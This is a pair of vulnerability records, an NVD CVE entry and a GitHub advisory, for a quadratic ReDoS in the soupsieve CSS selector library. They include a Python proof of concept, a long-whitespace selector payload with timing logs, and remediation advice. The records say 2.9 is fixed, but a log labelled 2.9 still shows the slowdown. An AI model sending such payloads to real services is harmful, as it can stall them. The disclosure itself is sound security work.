{
  "affected": [
    {
      "affectedData": [
        {
          "product": "soupsieve",
          "vendor": "facelessuser",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 2.9"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Soup Sieve is a CSS selector library designed to be used with Beautiful Soup 4. Prior to 2.9, selector_iter in src/soupsieve/css_parser.py trims the raw selector with RE_WS_END, an end-anchored WSC whitespace-and-comment expression used with search(), so the regular expression engine retries a greedy scan at every starting offset. An attacker-controlled valid selector containing a long internal whitespace run, or a selector containing a long CSS comment run followed by another token, causes quadratic CPU work before tokenization. User-controlled selectors can reach the path through soupsieve.compile() and BeautifulSoup.select(), while applications using only hard-coded selectors are unaffected. This root cause is separate from the IDENTIFIER and VALUE backtracking vulnerability because the cost occurs in RE_WS_END.search during trimming rather than token matching. The resulting CPU consumption can hold the Python GIL, exhaust workers, and stall a service without causing memory corruption or code execution. The issue is fixed in version 2.9."
    }
  ],
  "id": "CVE-2026-85999",
  "lastModified": "2026-09-17T16:18:16.590",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "LOW",
          "baseScore": 5.3,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "NONE",
          "integrityImpact": "NONE",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 1.4,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-09-17T16:18:16.590",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/facelessuser/soupsieve/commit/cf198fcddc9230f06ed39f974eba0ce076b85cda"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/facelessuser/soupsieve/releases/tag/2.9"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/facelessuser/soupsieve/security/advisories/GHSA-j934-xhv5-fg8f"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Received",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-400"
        },
        {
          "lang": "en",
          "value": "CWE-1333"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "soupsieve"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.9.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-85999"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333",
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-17T20:32:53Z",
    "nvd_published_at": "2026-09-17T16:18:16Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nBefore tokenizing, `selector_iter` trims leading/trailing whitespace and comments by running two regexes over the whole raw selector with `.search()`. The trailing one, `RE_WS_END = re.compile(r\u0027{WSC}*$\u0027)`, is anchored only at the end (`$`), not the start. Because `.search()` retries the pattern at every offset, a long run of whitespace or CSS comments that is not sitting exactly at the end of the string makes each retry greedily consume the run and then fail `$`, producing O(n\u00b2) time. This triggers on perfectly valid selectors \u2014 e.g. a descendant combinator with a long whitespace gap, `a` + `\" \"*n` + `b` \u2014 so no malformed input is required. A single valid ~20 KB selector stalls the interpreter for ~10 s of CPU.\n\n## Trust model (Q0)\n\nThe selector string is the input, reaching this code via `soupsieve.compile()`, the `soupsieve.select/iselect/match/filter` helpers, and BeautifulSoup\u0027s `soup.select(selector)` / `soup.select_one(selector)`. Exploitable wherever an application passes a user-controlled CSS selector to BeautifulSoup/soupsieve. Applications using only hard-coded selectors are unaffected.\n\n## Root cause (exact anchors) \u2014 `src/soupsieve/css_parser.py`\n\n```python\n# line 185-186\nRE_WS_BEGIN = re.compile(fr\u0027^{WSC}*\u0027)   # anchored at start -\u003e .search() only tries pos 0 -\u003e linear (safe)\nRE_WS_END   = re.compile(fr\u0027{WSC}*$\u0027)   # NOT anchored at start -\u003e .search() tries every offset\n\n# selector_iter, lines ~1322-1326\nm = RE_WS_BEGIN.search(pattern)\nindex = m.end(0) if m else 0\nm = RE_WS_END.search(pattern)                     # \u003c-- O(n^2) here\nend = (m.start(0) - 1) if m else (len(pattern) - 1)\n```\n\n`WSC = (?:{WS}|{COMMENTS})`. For `RE_WS_END = (?:WS|COMMENTS)*$`, `.search()` walks start offsets 0..n. Whenever the offset lands inside a long whitespace/comment run, `(?:WS|COMMENTS)*` greedily consumes to the run\u0027s end, then `$` fails (a non-whitespace char follows), the engine backtracks the whole run, the offset advances by one, and the work repeats \u2014 O(n) offsets \u00d7 O(n) per attempt = O(n\u00b2). `RE_WS_BEGIN` avoids this because `^` pins it to a single start offset.\n\nThe intent (trim trailing whitespace/comments) can be met with an anchored/loopless approach; the current unanchored `.search()` of a `*$` pattern is the defect.\n\n## Reproduction environment (discipline #12 \u2014 published artifact)\n\n- git HEAD `751c57b` (2.9, `PYTHONPATH=src`): `cd src \u0026\u0026 python3 ../poc/poc_redos_ws_trim.py`.\n- Published PyPI `soupsieve 2.8.4` (fresh `uv pip install soupsieve beautifulsoup4`): `cd poc \u0026\u0026 ../.venv-published/bin/python poc_redos_ws_trim.py` \u2192 same O(n\u00b2) (evidence: `poc/evidence_redos_ws_trim_PUBLISHED_2.8.4.log`).\n- Python 3.11.15 and 3.14.6 both reproduce.\n\n## PoC (`poc/poc_redos_ws_trim.py`)\n\n```python\nimport sys, time\nsys.path.insert(0, \".\")\nimport soupsieve as sv\n\ndef ct(sel):\n    t0 = time.perf_counter()\n    try:\n        sv.compile(sel); st = \"ok\"\n    except Exception as e:\n        st = type(e).__name__\n    return time.perf_counter() - t0, st\n\nprint(f\"soupsieve {sv.__version__}\\n\")\n\nprint(\"VALID selector \u0027a\u0027 + \u0027 \u0027*n + \u0027b\u0027  (descendant combinator, lots of whitespace):\")\nfor n in (2000, 4000, 8000, 16000):\n    dt, st = ct(\"a\" + \" \" * n + \"b\")\n    print(f\"  n={n:\u003c6} len={n+2:\u003c7} {dt*1000:9.1f} ms  [{st}]\")\n\npayload = \"a\" + \" \" * 20000 + \"b\"\ndt, st = ct(payload)\nprint(f\"\\n[+] Single call: compile(\u0027a\u0027 + \u0027 \u0027*20000 + \u0027b\u0027)  (len={len(payload)})\")\nprint(f\"[+] wall time = {dt:.2f} s   [{st}]\")\n```\n\nIsolated confirmation that the cost is in `RE_WS_END.search` specifically (`poc/isolate_ws_trim.py`): `RE_WS_END` on `\"div\"+\" \"*n+\"\u003e\"` is O(n\u00b2) (2000\u2192100 ms, 4000\u2192448 ms, 8000\u21921622 ms, 16000\u21926719 ms), while the start-anchored `RE_WS_BEGIN` on `\" \"*n+\"x\"` stays linear (32000\u21921.5 ms). Profiling `compile` shows the entire wall time in 2 `re.Pattern.search` calls, not `.match`.\n\n## Evidence \u2014 HEAD 2.9 (verbatim `poc/evidence_redos_ws_trim.log`)\n\n```\nsoupsieve 2.9\n\nVALID selector \u0027a\u0027 + \u0027 \u0027*n + \u0027b\u0027  (descendant combinator, lots of whitespace):\n  n=2000   len=2002        112.3 ms  [ok]\n  n=4000   len=4002        411.5 ms  [ok]\n  n=8000   len=8002       1602.9 ms  [ok]\n  n=16000  len=16002      6464.1 ms  [ok]\n\nVALID-looking \u0027a\u0027 + \u0027/*x*/\u0027*n + \u0027b\u0027  (CSS comment run):\n  n=1000   len=5002         48.9 ms  [SelectorSyntaxError]\n  n=2000   len=10002       194.8 ms  [SelectorSyntaxError]\n  n=4000   len=20002       780.2 ms  [SelectorSyntaxError]\n  n=8000   len=40002      3145.3 ms  [SelectorSyntaxError]\n\n[+] Single call: compile(\u0027a\u0027 + \u0027 \u0027*20000 + \u0027b\u0027)  (len=20002)\n[+] wall time = 10.23 s   [ok]\n```\n\n## Evidence \u2014 published 2.8.4 (verbatim `poc/evidence_redos_ws_trim_PUBLISHED_2.8.4.log`)\n\n```\nsoupsieve 2.8.4\n\nVALID selector \u0027a\u0027 + \u0027 \u0027*n + \u0027b\u0027:\n  n=2000   len=2002        102.7 ms  [ok]\n  n=4000   len=4002        404.3 ms  [ok]\n  n=8000   len=8002       1618.2 ms  [ok]\n  n=16000  len=16002      6457.9 ms  [ok]\n[+] Single call: compile(\u0027a\u0027 + \u0027 \u0027*20000 + \u0027b\u0027)  wall time = 10.11 s   [ok]\n```\n\n## Impact \u2014 calibrated\n\n- Confirmed: quadratic CPU per `compile()`/`select()` call on an attacker-controlled selector, triggered by a long internal whitespace or CSS-comment run. ~8 KB \u2192 ~1.6 s; ~20 KB \u2192 ~10 s; scaling ~\u00d74 per input doubling. Notably fires on WELL-FORMED selectors, so it does not depend on a parser error path.\n- Realistic exposure: services that accept user-supplied CSS selectors and feed them to BeautifulSoup/soupsieve.\n- NOT claimed: exponential blowup, memory corruption, or code execution. Availability (DoS) only, and only where selectors are attacker-influenced.\n\n## Distinction from the IDENTIFIER/VALUE ReDoS\n\nThis is a separate root cause and a separate fix: the cost here is entirely in the `RE_WS_END = {WSC}*$` trim step run with `.search()` before tokenizing (measured in `re.Pattern.search`), whereas the IDENTIFIER/VALUE issue is adjacent-quantifier backtracking during token `.match()`. They can be fixed independently.\n\n## Remediation\n\n- Anchor or de-loop the trailing-trim step: instead of `.search()` of `{WSC}*$`, scan trailing whitespace/comments from the end directly (e.g. reverse scan, or `re.compile(r\u0027^{WSC}*\u0027).match` on a reversed-equivalent), so no per-offset retry occurs.\n- Alternatively strip whitespace/comments in a single forward tokenizing pass rather than with a pre-pass `*$` search.\n- Defense-in-depth: cap selector length before compiling.",
  "id": "GHSA-j934-xhv5-fg8f",
  "modified": "2026-09-17T20:32:53Z",
  "published": "2026-09-17T20:32:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/facelessuser/soupsieve/security/advisories/GHSA-j934-xhv5-fg8f"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-85999"
    },
    {
      "type": "WEB",
      "url": "https://github.com/facelessuser/soupsieve/commit/cf198fcddc9230f06ed39f974eba0ce076b85cda"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/facelessuser/soupsieve"
    },
    {
      "type": "WEB",
      "url": "https://github.com/facelessuser/soupsieve/releases/tag/2.9"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Soup Sieve: Polynomial-time ReDoS (O(n\u00b2)) in the whitespace/comment trimming regex `RE_WS_END` (triggers on VALID selectors)"
}